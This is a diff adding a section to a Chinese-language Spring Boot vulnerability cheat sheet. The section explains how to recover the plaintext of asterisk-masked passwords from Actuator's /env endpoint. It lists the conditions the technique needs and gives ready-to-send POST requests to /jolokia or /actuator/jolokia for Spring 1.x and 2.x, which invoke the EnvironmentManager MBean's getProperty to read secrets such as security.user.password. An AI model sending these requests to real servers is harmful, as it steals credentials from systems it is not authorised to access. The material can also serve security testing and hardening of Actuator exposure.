@@ -184,7 +184,58 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
184
184
185
185
186
186
187
- ### 0x03:获取被星号脱敏的密码的明文
187
+ ### 0x03:获取被星号脱敏的密码的明文 (方法一)
188
+
189
+ > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
190
+
191
+ #### 利用条件:
192
+
193
+ - 目标网站存在 ` /jolokia ` 或 ` /actuator/jolokia ` 接口
194
+ - 目标使用了 ` jolokia-core ` 依赖(版本要求暂未知)
195
+
196
+
197
+
198
+ #### 利用方法:
199
+
200
+ ##### 步骤一: 找到想要获取的属性名
201
+
202
+ GET 请求目标网站的 ` /env ` 或 ` /actuator/env ` 接口,搜索 ` ****** ` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
203
+
204
+
205
+
206
+ ##### 步骤二: 利用 jolokia 的 ` org.springframework.cloud.context.environment ` Mbean获取明文
207
+
208
+ 将下面示例中的 ` security.user.password ` 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 ` value ` 键中。
209
+
210
+
211
+
212
+ spring 1.x
213
+
214
+ ```
215
+ POST /jolokia
216
+ Content-Type: application/x-www-form-urlencoded
217
+
218
+ {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
219
+ ```
220
+
221
+ spring 2.x
222
+
223
+ ```
224
+ POST /actuator/jolokia
225
+ Content-Type: application/json
226
+
227
+ {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
228
+ ```
229
+
230
+
231
+
232
+ #### 漏洞原理:
233
+
234
+ 相当于通过 jolokia 调用 ` org.springframework.cloud.context.environment.EnvironmentManager ` 类实例的 ` getProperty ` 方法,直接获取属性值的明文。
235
+
236
+
237
+
238
+ ### 0x04:获取被星号脱敏的密码的明文 (方法二)
188
239
189
240
> 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
190
241
0 commit comments